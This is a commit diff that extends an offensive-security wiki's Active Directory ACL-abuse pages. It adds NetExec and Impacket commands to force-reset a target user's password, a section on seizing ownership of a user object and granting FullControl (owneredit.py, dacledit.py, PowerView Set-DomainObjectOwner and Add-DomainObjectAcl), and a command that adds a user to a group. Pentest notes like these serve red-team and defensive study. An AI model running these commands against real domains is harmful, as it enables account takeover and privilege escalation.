Skip to content

Commit 3b916ae

Browse files
Add modify ownership section to ACL user access article
1 parent ea4b84d commit 3b916ae

2 files changed

Lines changed: 36 additions & 2 deletions

File tree

content/en/docs/active_directory/movement/acl_abuse/control_over_user.md

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,12 @@ net rpc password <target_user> -U <domain>/<username> -S <dc_ip>
2222
```bash
2323
bloodyAD --host <dc_ip> -d <domain> -u <username> -p <password> set password svc_sql <new_password>
2424
```
25+
```bash
26+
nxc smb <dc_host> -u <username> -p <password> -M change-password -o USER=<target_user> NEWPASS=<new_password>
27+
```
28+
```bash
29+
changepasswd.py <domain>/<username>:<password>@<dc_host> -altuser <target_user> -altpass <new_password>
30+
```
2531

2632
### Windows Perspective
2733
We may use PowerView's `Set-DomainUserPassword` function to force change the target's password.
@@ -31,7 +37,6 @@ $NewPassword = ConvertTo-SecureString <new_password> -AsPlainText -Force
3137
Set-DomainUserPassword -Identity <target_user> -AccountPassword $NewPassword
3238
```
3339

34-
3540
## Targeted Kerberoasting
3641
We can leverage the ability to write the target user's `servicePrincipalName` property (`GenericAll` or `GenericWrite` access required) to create a fake SPN and Kerberoast it like a normal service account and recover the target user's password via offline cracking. However, our ability to recover the plaintext password depends on the user's password strength.
3742

@@ -149,3 +154,29 @@ Then, we may use [Rubeus](https://github.com/GhostPack/Rubeus) to request a TGT
149154
.\Rubeus.exe asktgt /user:<user> /certificate:<cert_file> /password:<cert_pass> /domain:<domain_fqdn> /dc:<dc_host> /getcredentials /show
150155
```
151156
- If you get `KRB-ERROR (14) : KDC_ERR_ETYPE_NOTSUPP`, try setting `/enctype:aes128` or `/enctype:aes256`.
157+
158+
## Modify Ownership
159+
If we are able to modify the owner object over a user account, we can change the owner to an object we control and give that object full control access, allowing us to use any of the three methods above to take control of the target user account.
160+
161+
### Linux Perspective
162+
We use `owneredit.py` from Impacket to change the ownership of the user to an account we control.
163+
```bash
164+
owneredit.py -action write -owner <username> -target <target_user> <domain>/<user>:<password>
165+
```
166+
We then use `dacledit.py` from Impacket to give our user full control over the target user.
167+
```bash
168+
dacledit.py -action 'write' -rights 'FullControl' -principal <username> -target <target_user> <domain>/<username>:<password>
169+
```
170+
171+
### Windows Perspective
172+
The PowerView function `Set-DomainObjectOwner` may be used to change the ownership of a user object from a domain-joined Windows machine. It must be ran from a process under the context of the user who has the access to modify ownership information over the target user, or we can create a PSCredential object, alternatively.
173+
```powershell
174+
$SecPassword = ConvertTo-SecureString '<password>' -AsPlainText -Force
175+
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', $SecPassword)
176+
Set-DomainObjectOwner -Credential $Cred -TargetIdentity '<target_user>' -OwnerIdentity '<username>'
177+
```
178+
179+
We then use `Add-DomainObjectAcl` function from PowerView to give our user `GenericAll` access to the target user object.
180+
```powershell
181+
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <target_user> -Rights All
182+
```

content/en/docs/active_directory/movement/acl_abuse/group.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,13 @@ weight: 2
99
Member principals within a Active Directory group automatically inherits the accesses and privileges granted to that group. If the principal we control have sufficient privileges over a group (`GenericAll`, `GenericWrite`, `AllExtendedRights` or `Self-Membership`), we can add another principal (e.g. a low-priv user) to the group so the principal inherits all access rights granted to the group.
1010

1111
## Linux Perspective
12-
From a Linux attacker machine, we can use bloodyAD to add a user to a group.
12+
From a Linux attacker machine, we can use bloodyAD or NetExec to add a user to a group.
1313
```bash
1414
bloodyAD --host <dc_host> -d <domain> -u <username> -p <password> add groupMember <target_group> <target_user>
1515
```
16+
```bash
17+
nxc smb <dc_host> -u <username> -p <password> -M modify-group -o USER=<target_user> GROUP=<target_group>
18+
```
1619

1720
## Windows Perspective
1821
We can use native `net` utility to add a user to a group.

0 commit comments

Comments
 (0)